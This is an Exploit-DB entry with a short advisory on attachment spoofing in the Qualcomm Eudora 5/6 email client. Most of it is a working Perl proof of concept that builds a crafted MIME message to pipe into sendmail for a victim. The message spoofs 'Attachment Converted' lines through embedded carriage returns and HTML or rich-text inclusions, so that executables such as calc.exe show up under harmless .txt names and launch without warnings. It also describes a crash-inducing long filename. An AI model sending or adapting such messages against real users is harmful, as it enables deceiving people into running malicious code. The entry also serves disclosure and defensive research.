Exploit-DB #21695
Description: Qualcomm Eudora 5/6 - File Attachment Spoofing (1)
Type: remote
Platform: windows
Date: 2002-08-08
Author: Paul Szabo

Exploit:
source: https://www.securityfocus.com/bid/5432/info

Eudora is reported to be prone to an issue which may allow attackers to spoof the file extension in an attachment. This may aid an attacker in enticing a user of the e-mail client into executing malicious content, and in avoiding generating warning messages.

It is possible to refer to other files or attachments in a message through specially formatted inline text. It has been demonstrated possible to misrepresent some aspects of files referenced in this manner. This may cause end users to make erroneous judgements about the nature of file attachments, and allow malicious attachments to bypass normal warning dialogs displayed when executable content is launched.

If an attachment path to an executable file has a single '.' character appended, warning messages will not be displayed. Attachments such as 'calc.exe.' may execute when launched without the requirement for further interaction. Additionally, an arbitrary file name may be specified by the attacker which will be displayed to the end user. If a filename such as 'readme.txt' is associated with a malicious, executable attachment, the user may make innacurate decisions about the risk associated with opening the attachment. If the specified file does not exist on the local system, the full path provided will be used to locate and launch a file, with no further warnings given.

Successful exploitation may require the attacker to know the full path to the attachment directory.

** A new version of Eudora is available however, reports suggest that the new version may still be affected.

** May 21, 2004 - Eudora version 6.1.1 has been released, however, it is reported that the new versions is vulnerable to this issue as well.

#!/usr/bin/perl --

use MIME::Base64;

print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.0 on Windows exploit\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "\n";
print "This is a multi-part message in MIME format.\n";
print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n";
print "\n";

print "Pipe the output of this script into:   sendmail -i victim\n";

print "\nQuestion: Besides In.mbx, Eudora 6.0 also keeps In.mbx.001 and
In.mbx.002 files. Any way to turn this wasteful feature off?\n";

print "\nWith spoofed attachments, we could 'steal' files if the message
was forwarded (not replied to).\n";

print "\nSending a long filename e.g.:\n";
print "Attachment Converted\r: \"\\AAA...AAA\"\n";
print "(with 250 or so repetitions of \"A\") makes Eudora crash.
Eudora is then unable to start, until the offending message is
removed from In.mbx (using some utility other than Eudora itself).
This buffer overflow can easily be made into an execute-any-code
exploit (but is not shown here for script kiddies).\n";

print "\nWithin plain-text email (or plain-text, inline MIME parts) embedded
CR=x0d characters get converted internally into a NUL=x00 and ignored,
so we can spoof \"attachment converted\" lines:\n";

print "\nThe following work fine (but are boring and/or put up warnings):\n";
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted\r: c:\\winnt\\system32\\calc.exe\n";
print "(Note how JavaScript is done with IE, web with default browser Netscape)\n";
print "Attachment Converted\r: <A href=javascript:alert(%27hello%27)>hello.txt</a>\n";
print "Attachment Converted\r: <A href=http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx>web.txt</a>\n";
print "Attachment Converted\r: <A href=c:/winnt/system32/calc.exe>file.txt</a>\n";

print "\nIf we can guess the full path to the attach directory then can
change the name shown to anything we like, but get broken icon:\n";
print "Attachment Converted\r: <A href=H:/windows/.eudora/attach/calc>file.txt</a>\n";

print "\nCuteness value only:\n";
print "Attachment Converted\r: <A href=c:/winnt/system32/calc.exe>file1.txt</a> xyz <A href=c:/winnt/system32/calc.exe>file2.txt</a>\n";

print "\n<x-html>
With <b>HTML</b> <i>inclusions</i> we can do
<a href=c:/winnt/system32/calc.exe>file</a>,
<a href=\"http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\">http</a>
and
<a href=\"javascript:alert(\x27hello\x27)\">javascript</a>
references. Any way to exploit this?
</x-html>\n";

print "\n<x-rich>
Can also do RTF inclusions. Can this be abused?
</x-rich>\n";

print "\nThose <x-xyz></x-xyz> constructs allow spoofing
attachments easily, without embedded CR:\n\n";
print "HTML\n";
print "<x-html></x-html>Attachment Converted: \"xyz\"\n";
print "Rich\n";
print "<x-rich></x-rich>Attachment Converted: \"xyz\"\n";
print "Flowed\n";
print "<x-flowed></x-flowed>Attachment Converted: \"xyz\"\n";

print "\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"plain.txt\"\n";
print "Content-Transfer-Encoding: 7bit\n";
print "Content-Disposition: inline; filename=\"plain.txt\"\n";
print "\n";
print "Within a 'plain' attachment:\n";
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"qp.txt\"\n";
print "Content-Transfer-Encoding: quoted-printable \n";
print "Content-Disposition: inline; filename=\"qp.txt\"\n";
print "\n";
print "Within quoted-printable encoded parts still need the embedded CR:\n";
print "=41ttachment=20=43onverted\r=3a \"c:\\winnt\\system32\\calc.exe\"\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b64.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b64.txt\"\n";
print "\n";
$z = "Within base64 encoded (plain-text, inline) MIME parts, can spoof\r
without embedded CR (but line termination is CR-NL):\r
Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\r\n";
print encode_base64($z);

print "\n--zzz--\n";